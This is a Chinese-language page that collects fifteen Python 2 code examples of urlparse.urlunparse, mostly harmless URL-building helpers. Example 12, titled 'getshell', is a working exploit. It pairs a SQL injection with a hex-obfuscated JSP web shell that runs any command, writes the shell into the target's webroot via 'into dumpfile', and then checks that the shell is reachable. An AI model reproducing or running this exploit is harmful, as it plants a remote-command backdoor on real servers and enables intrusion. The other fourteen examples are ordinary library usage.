本文整理汇总了Python中urlparse.urlunparse方法的典型用法代码示例。如果您正苦于以下问题:Python urlparse.urlunparse方法的具体用法?Python urlparse.urlunparse怎么用?Python urlparse.urlunparse使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类urlparse
的用法示例。
在下文中一共展示了urlparse.urlunparse方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: format_url_param
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def format_url_param(url):
url_st = urlparse.urlparse(url)
queries = url_st.query
if not queries:
return
new_queries = ""
for eq in queries.split("&"):
key = eq.split("=")[0]
value = eq.split("=")[1]
if value.isdigit():
value = "<int>"
new_queries += key + "=" + value + "&"
new_queries = new_queries.strip("&")
url = urlparse.urlunparse((
url_st.scheme,
url_st.netloc,
url_st.path,
url_st.params,
new_queries,
url_st.fragment,
))
return url
示例2: url
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def url(self, value):
self.__dict__['url'] = value
if value is not None:
scheme, netloc, path, params, query, fragment = urlparse.urlparse(value)
# Exclude default port numbers.
if scheme == 'http' and netloc[-3:] == ':80':
netloc = netloc[:-3]
elif scheme == 'https' and netloc[-4:] == ':443':
netloc = netloc[:-4]
if scheme not in ('http', 'https'):
raise ValueError("Unsupported URL %s (%s)." % (value, scheme))
# Normalized URL excludes params, query, and fragment.
self.normalized_url = urlparse.urlunparse((scheme, netloc, path, None, None, None))
else:
self.normalized_url = None
self.__dict__['url'] = None
示例3: make_next_param
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def make_next_param(login_url, current_url):
'''
Reduces the scheme and host from a given URL so it can be passed to
the given `login` URL more efficiently.
:param login_url: The login URL being redirected to.
:type login_url: str
:param current_url: The URL to reduce.
:type current_url: str
'''
l = urlparse(login_url)
c = urlparse(current_url)
if (not l.scheme or l.scheme == c.scheme) and \
(not l.netloc or l.netloc == c.netloc):
return urlunparse(('', '', c.path, c.params, c.query, ''))
return current_url
示例4: run
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def run():
sites = requests.get('http://atlas-agis-api.cern.ch/request/ddmendpoint/query/list/?json').json()
tmp = [] # needed because urlparse returns constant tuples
res = []
for site in sites:
try:
# let's hope the JSON schema doesn't change in the future
tmp.append((site['token'], urlparse.urlparse(str(''.join([s for s in site['protocols'] if s.startswith('srm')][0] + [site['protocols'][s] for s in site['protocols'] if s.startswith('srm')][0][0][2])))))
except:
pass
for t in tmp:
u = list(t[1])
v = urlparse.urlunparse(u)
# Sites that do not have a prefix defined are removed
if v.endswith('/'):
res.append((v, str(t[0])))
res.sort()
for r in res:
print '%s:%s' % (r[1], ':'.join(r[0].split(':')[1:]))
示例5: _add_query_parameter
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def _add_query_parameter(url, name, value):
"""Adds a query parameter to a url.
Replaces the current value if it already exists in the URL.
Args:
url: string, url to add the query parameter to.
name: string, query parameter name.
value: string, query parameter value.
Returns:
Updated query parameter. Does not update the url if value is None.
"""
if value is None:
return url
else:
parsed = list(urlparse.urlparse(url))
q = dict(urlparse.parse_qsl(parsed[4]))
q[name] = value
parsed[4] = urllib.urlencode(q)
return urlparse.urlunparse(parsed)
示例6: get_local_uri
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def get_local_uri(self, uri):
"""
Convert a remote uri to a local one.
This method takes a remote service uri accessible to the remote host and
returns a local uri accessible directly on the local host, establishing
any necessary port forwarding in the process.
Args:
uri (str): The remote uri to be made local.
Returns:
str: A local uri that tunnels all traffic to the remote host.
"""
parsed_uri = urlparse(uri)
return urlunparse(parsed_uri._replace(netloc='localhost:{}'.format(self.port_forward(parsed_uri.netloc))))
示例7: can_fetch
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def can_fetch(self, useragent, url):
"""using the parsed robots.txt decide if useragent can fetch url"""
if self.disallow_all:
return False
if self.allow_all:
return True
# search for given user agent matches
# the first match counts
parsed_url = urlparse.urlparse(urllib.unquote(url))
url = urlparse.urlunparse(('', '', parsed_url.path,
parsed_url.params, parsed_url.query, parsed_url.fragment))
url = urllib.quote(url)
if not url:
url = "/"
for entry in self.entries:
if entry.applies_to(useragent):
return entry.allowance(url)
# try the default entry last
if self.default_entry:
return self.default_entry.allowance(url)
# agent not found ==> access granted
return True
示例8: resolveEntity
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def resolveEntity(self, publicId, systemId):
assert systemId is not None
source = DOMInputSource()
source.publicId = publicId
source.systemId = systemId
source.byteStream = self._get_opener().open(systemId)
# determine the encoding if the transport provided it
source.encoding = self._guess_media_encoding(source)
# determine the base URI is we can
import posixpath, urlparse
parts = urlparse.urlparse(systemId)
scheme, netloc, path, params, query, fragment = parts
# XXX should we check the scheme here as well?
if path and not path.endswith("/"):
path = posixpath.dirname(path) + "/"
parts = scheme, netloc, path, params, query, fragment
source.baseURI = urlparse.urlunparse(parts)
return source
示例9: resolve_k8s_service_by_url
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def resolve_k8s_service_by_url(url):
import k8s_get_service
parsed = urlparse.urlparse(url)
service = parsed.hostname
internal_port = parsed.port
if not internal_port:
if parsed.scheme == 'http':
internal_port = 80
elif parsed.scheme == 'https':
internal_port = 443
ip, port = k8s_get_service.resolve_service(service, internal_port)
netloc = '{}:{}'.format(ip, port)
modified = list(parsed)
modified[1] = netloc
return urlparse.urlunparse(modified)
示例10: _add_query_parameter
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def _add_query_parameter(url, name, value):
"""Adds a query parameter to a url.
Replaces the current value if it already exists in the URL.
Args:
url: string, url to add the query parameter to.
name: string, query parameter name.
value: string, query parameter value.
Returns:
Updated query parameter. Does not update the url if value is None.
"""
if value is None:
return url
else:
parsed = list(urlparse.urlparse(url))
q = dict(parse_qsl(parsed[4]))
q[name] = value
parsed[4] = urllib.urlencode(q)
return urlparse.urlunparse(parsed)
示例11: urlunparse
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def urlunparse(data):
"""
Modified from urlparse.urlunparse to support file://./path/to urls
"""
scheme, netloc, url, params, query, fragment = data
if params:
url = "%s;%s" % (url, params)
if netloc:
url = '//' + (netloc or '') + url
if scheme:
url = scheme + ':' + url
if query:
url = url + '?' + query
if fragment:
url = url + '#' + fragment
return url
示例12: getshell
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def getshell(url):
exp = "/Conf/jsp/systembulletin/bulletinAction.do?operator=modify&sysId=1 UNION SELECT 1,2,3,4,0x497420776F726B7321DA3C2540207061676520636F6E74656E74547970653D22746578742F68746D6C3B20636861727365743D47424B2220253EDA3C2540207061676520696D706F72743D226A6176612E696F2E2A2220253E203C2520537472696E6720636D64203D20726571756573742E676574506172616D657465722822636D6422293B20537472696E67206F7574707574203D2022223B20696628636D6420213D206E756C6C29207B20537472696E672073203D206E756C6C3B20747279207B2050726F636573732070203D2052756E74696D652E67657452756E74696D6528292E6578656328636D64293B204275666665726564526561646572207349203D206E6577204275666665726564526561646572286E657720496E70757453747265616D52656164657228702E676574496E70757453747265616D282929293B207768696C65282873203D2073492E726561644C696E6528292920213D206E756C6C29207B206F7574707574202B3D2073202B225C725C6E223B207D207D20636174636828494F457863657074696F6E206529207B20652E7072696E74537461636B547261636528293B207D207DDA6F75742E7072696E746C6E286F7574707574293B253EDA into dumpfile '../../management/webapps/root/V2ConferenceCmd.jsp'%23"
urlinfo = urlparse(url)
check_url = urlunparse((urlinfo.scheme, urlinfo.netloc, '/V2ConferenceCmd.jsp', '', '', ''))
temp = urlunparse((urlinfo.scheme, urlinfo.netloc, '', '', '', ''))
exp_url = temp + exp
try:
print "[checking] " + url
req = requests.session()
resp_one = req.get(exp_url, timeout=5)
time.sleep(1)
if resp_one.status_code == 200:
resp_two = req.get(check_url, timeout=5)
if resp_two.status_code == 200 and "It works!" in resp_two.content:
print "[getshell success]"
print "SHELL: "+check_url
return
print u"getshell failed..."
return
except Exception, e:
print "Failed to connection target, try again.."
示例13: _BuildUrl
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def _BuildUrl(self, url, path_elements=None, extra_params=None):
# Break url into constituent parts
(scheme, netloc, path, params, query, fragment) = urlparse(url)
# Add any additional path elements to the path
if path_elements:
# Filter out the path elements that have a value of None
p = [i for i in path_elements if i]
if not path.endswith('/'):
path += '/'
path += '/'.join(p)
# Add any additional query parameters to the query string
if extra_params and len(extra_params) > 0:
extra_query = self._EncodeParameters(extra_params)
# Add it to the existing query
if query:
query += '&' + extra_query
else:
query = extra_query
# Return the rebuilt URL
return urlunparse((scheme, netloc, path, params, query, fragment))
示例14: getlinkinfos
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def getlinkinfos(self):
# File reading is done in __init__() routine. Store parser in
# local variable to indicate success of parsing.
# If no parser was stored, fail.
if not self.parser: return []
rawlinks = self.parser.getlinks()
base = urlparse.urljoin(self.url, self.parser.getbase() or "")
infos = []
for rawlink in rawlinks:
t = urlparse.urlparse(rawlink)
# DON'T DISCARD THE FRAGMENT! Instead, include
# it in the tuples which are returned. See Checker.dopage().
fragment = t[-1]
t = t[:-1] + ('',)
rawlink = urlparse.urlunparse(t)
link = urlparse.urljoin(base, rawlink)
infos.append((link, rawlink, fragment))
return infos
示例15: originForm
# 需要导入模块: import urlparse [as 别名]
# 或者: from urlparse import urlunparse [as 别名]
def originForm(self):
"""
The absolute I{URI} path including I{URI} parameters, query string and
fragment identifier.
@see: U{https://tools.ietf.org/html/draft-ietf-httpbis-p1-messaging-21#section-5.3}
@return: The absolute path in original form.
@rtype: L{bytes}
"""
# The HTTP bis draft says the origin form should not include the
# fragment.
path = urlunparse(
(b'', b'', self.path, self.params, self.query, b''))
if path == b'':
path = b'/'
return path